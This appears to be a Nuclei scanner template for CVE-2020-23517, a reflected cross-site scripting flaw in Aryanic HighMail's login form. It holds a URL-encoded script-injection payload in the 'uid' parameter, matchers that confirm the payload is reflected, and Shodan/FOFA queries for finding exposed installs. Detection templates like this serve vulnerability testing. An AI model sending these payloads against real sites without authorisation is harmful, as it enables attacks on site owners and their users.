id: CVE-2020-23517

info:
  name: Aryanic HighMail (High CMS) - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: A cross-site scripting vulnerability in Aryanic HighMail (High CMS) versions 2020 and before allows remote attackers to inject arbitrary web script or HTML, via 'user' to LoginForm.
  remediation: |
    To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://vulnerabilitypublishing.blogspot.com/2021/03/aryanic-highmail-high-cms-reflected.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-23517
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-23517
    cwe-id: CWE-79
    epss-score: 0.00124
    epss-percentile: 0.4654
    cpe: cpe:2.3:a:aryanic:high_cms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: aryanic
    product: high_cms
    shodan-query: title:"HighMail"
    fofa-query: title="HighMail"
  tags: cve,cve2020,xss,cms,highmail,aryanic

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
      - "{{BaseURL}}/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'value=""><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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